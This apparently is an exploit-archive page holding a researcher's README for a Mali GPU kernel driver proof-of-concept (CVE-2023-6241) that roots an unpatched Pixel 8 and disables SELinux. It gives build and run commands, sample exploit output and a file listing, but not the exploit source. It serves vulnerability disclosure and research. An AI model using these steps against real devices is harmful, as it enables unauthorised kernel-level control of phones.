CVE-2023-6241 PoC — Mali GPU Kernel Driver allows improper GPU memory processing operations

Source

Associated Vulnerability

Readme

## Exploit for CVE-2023-6241

The write up can be found [here](https://github.blog/2024-03-18-gaining-kernel-code-execution-on-an-mte-enabled-pixel-8). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.

The exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26:

```
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
```

The exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it fails, it can be rerun. If successful, it should disable SELinux and gain root.

```
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf                                     
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
```

When running the first time, the exploit sometimes stalls after printing the last `overwrite addr` message. If that happens (stalled for more than 10 seconds, though pausing for a few seconds is normal), then simply kill the exploit and rerun it. It should not stall the second time.

To test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE.

File Snapshot

 [4.0K]  /data/pocs/3ef8b12218083ad4f510dad3b6103bb5176b11a3
├── [  15]  CL -> /usr/include/CL
├── [ 320]  firmware_offsets.h
├── [ 45M]  libGLES_mali.so
├── [ 241]  log_utils.h
├── [7.5K]  mali_base_common_kernel.h
├── [ 20K]  mali_base_csf_kernel.h
├── [9.4K]  mali_base_kernel.h
├── [ 14K]  mali_jit_csf.c
├── [ 19K]  mali_kbase_csf_ioctl.h
├── [ 27K]  mali_kbase_ioctl.h
├── [1.8K]  mempool_utils.c
├── [ 504]  mempool_utils.h
├── [8.8K]  mem_read_write.c
├── [1.3K]  mem_read_write.h
└── [2.6K]  README.md

0 directories, 15 files

Remarks